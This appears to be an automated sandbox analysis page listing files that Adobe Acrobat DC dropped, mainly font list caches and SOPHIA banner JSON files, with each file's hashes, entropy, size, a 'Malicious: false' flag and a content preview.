MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7252

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321502476010266
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJM3g98kUwPeUkwRe9:YvXKX3IqYpW79CGMbLUkee9
MD5:	7BB3D3C89DF451A57C292B5EAA5C397F
SHA1:	828C38B1E5E8F07ABC0B57400B276D6774A466B1
SHA-256:	8326DAEC8E8C30A6D14A82C3831F4368CA4E502C943EFBDD9AB372F6F1757344
SHA-512:	FBA7195D963A5D0C4C10BAA80285B93B5C6D5000FA3DA61D329848EBC8E18853539103767441E0C818B947078649AAF4002DAC023ECB404371D619A9C8F9FA90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.256872554833562
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfBoTfXpnrPeUkwRe9:YvXKX3IqYpW79CGWTfXcUkee9
MD5:	ACFCD509995F3E433C97E66EFF5FC608
SHA1:	54C7616CB47655486387C1AB6C4FF4E7734C3EEC
SHA-256:	575EEC07994853DE9190F22D168F8D6FCC31A435AD6E314F26562DD67A0DF149
SHA-512:	914F62F6A7FA46477360155459F0F3852B88423EA6C19789CD0CBA067C04730E859031446DFAF021A004EAC0C435429EAD995BB7BDB30D58BD576B160B51A8B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.235952019038523
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfBD2G6UpnrPeUkwRe9:YvXKX3IqYpW79CGR22cUkee9
MD5:	5756308A61164AB8006BF15DB715F107
SHA1:	B035AB772B428C2D8D75751483E077DF98DC082C
SHA-256:	793B31DC146933B23AD607B861B93F0A8EAAA18015C4B72B7CB68973957FBFA1
SHA-512:	EB1334CD90710A774C54069C677916B2BD35DE2437B86E408AE1297D39E5790DEE144A9437C589A09DEDA3B4FAD27FFBA21BBCF7ED91D3B29CD66B493E50AF52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.298926549793783
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfPmwrPeUkwRe9:YvXKX3IqYpW79CGH56Ukee9
MD5:	20903903DF277D8EC94D0F5A3E0B74E5
SHA1:	6DB9CFAD54D2EFC581F253C5D85757FEF4E0724A
SHA-256:	B74459F304CA8AED89C38356E234C840642950F47879AD1F460131D230CBACB7
SHA-512:	A3858E07A8BD9DF1AA553B9C13BB8CD804532B5B6B799801D481A3B70E1AAD21E885EFE83356274D04E04F177A809250BC05C7623A0240B381C0819B85E2EB3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6804792455632835
Encrypted:	false
SSDEEP:	24:Yv6XgidpLgE9cQx8LennAvzBvkn0RCmK8czOCCSB:Yvodhgy6SAFv5Ah8cv/B
MD5:	A775BE1BA0938CB0DF09AFD1F34E138F
SHA1:	D3389FF0437F92BC1C15E0569981ECD24D906281
SHA-256:	3E52114830620B327C4D193669CEB91A64EC24BF880BA563F9741D4D590E766B
SHA-512:	DFCA0E46EB9469230A57CFE40565EB72194C1A41D8CE6B0333A804E0850BF843376D8E02F7FA72C80377794BD56044998684206209AC022B040923040E8A9BA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.241234348073076
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJf8dPeUkwRe9:YvXKX3IqYpW79CGU8Ukee9
MD5:	7F8B5D36FF63FA3370F433D5C65CA4B6
SHA1:	859846C6265D8A4571FB9DB4E214829B665F5687
SHA-256:	695C5EBD8B67F71577B4483D5F96EF2850F472DE529291AA32F34BA17A4C7896
SHA-512:	BAB99AD39676E4FC1B7BD6436172D7FA2A9219EC0B451E4BF2F4DE5580338CB8AC317942803E1026626378E1BEFE72DB344EE0DDE76D31E24E44AD4253C01AE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2431023035842514
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfQ1rPeUkwRe9:YvXKX3IqYpW79CGY16Ukee9
MD5:	F3ECB7FF54345FDE8508A21203C47C6B
SHA1:	49E0A5B13D4E8AA56B31488FEB548F0267E074A8
SHA-256:	CD80ED34108A9D21AAB8D2BA2EFD2A6C0924BD6CA7D0C65CD0508C829E4F08DE
SHA-512:	A3A77DA3B8663CFDD6A33B0941626DF2C54078A1E57BD8EFFA40DDF76BBC5E9BCD033CDFF579D96DE0699F71E362CBE00B00A6BD532E5CFA1B8A9C0B74DB53F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2627565770030005
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfFldPeUkwRe9:YvXKX3IqYpW79CGz8Ukee9
MD5:	D36FF5FA755F3B56139026C8A083B394
SHA1:	B41B517914F22B3EA5430C86F4C32464E75D7937
SHA-256:	C6AB10B6A26629B36E6E8EE3CF7BB561DE428B4D124BE50AFF3150107337AAF4
SHA-512:	5ED80595D1407088B0320BAFEE280D09243640527F42F7C2E66B004A429D6C6B25A8B9C23928C11DA4BF9635B2C80E08B0538FD5C202A8375A046CD3A2A4D043
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.268292695141047
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfzdPeUkwRe9:YvXKX3IqYpW79CGb8Ukee9
MD5:	5FB0807EFA057241A12AA592554E9518
SHA1:	868357733E461BA8CFF8D6CFBD22236239C73546
SHA-256:	087DF6CCC88D68E155B9C270A0556EE7F23C225931208EF5FD228FDE4A9E9158
SHA-512:	4B59488AA3D439ED543932A5CAD65DF813C372D2025B6A471A845172EBEEDCC337F27CE2031A0EBC740CCADAEB9A5D10E9B1097D80DE011CF81644FBCD44388A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.248666184285792
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfYdPeUkwRe9:YvXKX3IqYpW79CGg8Ukee9
MD5:	31B0D3F424FBE4BDE599254A56D13BEF
SHA1:	B7213EDD3973D09BF9F9743C2909063583CAEA92
SHA-256:	F1CC62AD4F59318C53C41EEE718EB81C2D2799DF4F369714337383A89AF75F82
SHA-512:	895624BA4D780EE8A4FEAA2C36AF156C7E1FE39C73341E2E6137120C176961C1381297774D0065DEF739AD776E04393A0326CF6BBE3CCED756D45507FA9D96B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.234661633737158
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJf+dPeUkwRe9:YvXKX3IqYpW79CG28Ukee9
MD5:	FBA4530551AC40DA8BF78C13B5D0DF3C
SHA1:	35790F26377ADCC5198B3FC0BBBBC1953687E68C
SHA-256:	477124F8696643E771682A098E9B57FCC98D7BA30C5FDF1748EF159EB156A865
SHA-512:	7DEA37CA7A777635B8D0FDA2085EE50F52D8D761327A70787787B34CDC7830BC4F69C7E5EFB041E4359CFC0BF7DC3693AC3BB2F2376D3751E3FE5F446FF08F5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.232566091689649
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfbPtdPeUkwRe9:YvXKX3IqYpW79CGDV8Ukee9
MD5:	09A51ED9E24754A83AE4E3A0279BE4E6
SHA1:	122790D0C039AF056BE2690C6D978E0A45F356C9
SHA-256:	02F71F44F94481E4883C3748972F78F148B24020D50FD303B86A120A966B237A
SHA-512:	30CF290FE09621ED826FFCA356049CA9A8718731F6CFF7FB557D615CBA14C2E84987B3421DA9F01FAD8A2FB1C931A93674A1AE13C9AB3F86CD5CA5AD0B192DF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.234368742391564
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJf21rPeUkwRe9:YvXKX3IqYpW79CG+16Ukee9
MD5:	A440FEDFF18A8767C13DAF5F2F038A24
SHA1:	9F97DD8267F032B95A19F528BD1BCCE6E4CFD22F
SHA-256:	42CF15B5A2C4A425E201CA5E4859BABF135BDD1598BECBDF14BF5E466B04A30A
SHA-512:	2314B5300143D9FA09A3F160A3D8A0F317EC2C4952823E5F1D61DEB950AC513B41D572A7FCE5836EC6722EEA832A33B6F6A57F95A5A3F2831C3B37F14EC754D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.652309890006446
Encrypted:	false
SSDEEP:	24:Yv6XgilamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSB:YvoZBgkDMUJUAh8cvMB
MD5:	00490CCAE11FF39B2F7CC80A0D3151CB
SHA1:	99E9DA1ED2E2B4A7A7D38729688327D27B48D56D
SHA-256:	B48C6B2C2A433F5F94840EA5C03492FC048AEB1943D3E7E625A5A51DCFD2E827
SHA-512:	E7393D996EDE431409256234A1BDC0659454E198CCDDDAC75D4ADBECF6C1E11994713D496359BB3BD2BC7E0D8D35D2BF83A797B49C9348FD8D84FD0776B604B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.209524972178493
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJfshHHrPeUkwRe9:YvXKX3IqYpW79CGUUUkee9
MD5:	DC926EFE1141540215ED1AD941D7B865
SHA1:	934D08D962DFEB89AAA683F471A508168B10F15F
SHA-256:	B12A0812476CEDD9F76EC8797346AC7E6F87E4F1947A5B1AEDE67D0AFEDB4953
SHA-512:	7AB7310365F3ABBFE19F0F7852B4D054CE38FE40199198128A2A22DF2EF015F72E3AEF8031079C58AB572C746181AD525609C2718ACD5AE4F204C720B633AED4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.224636707789092
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3TEz+FIbRI6XVW7+0YcNoAvJTqgFCrPeUkwRe9:YvXKX3IqYpW79CGTq16Ukee9
MD5:	01ED659CEDF6D5DD139ECE5B6068A413
SHA1:	78E9708183197EADDDF3BCBB3018CCCE446B281D
SHA-256:	A6C41400A0FFCDB919BA05E428FA4C7B5F5F0DA234A18A86B9B7A9EE1A3B0766
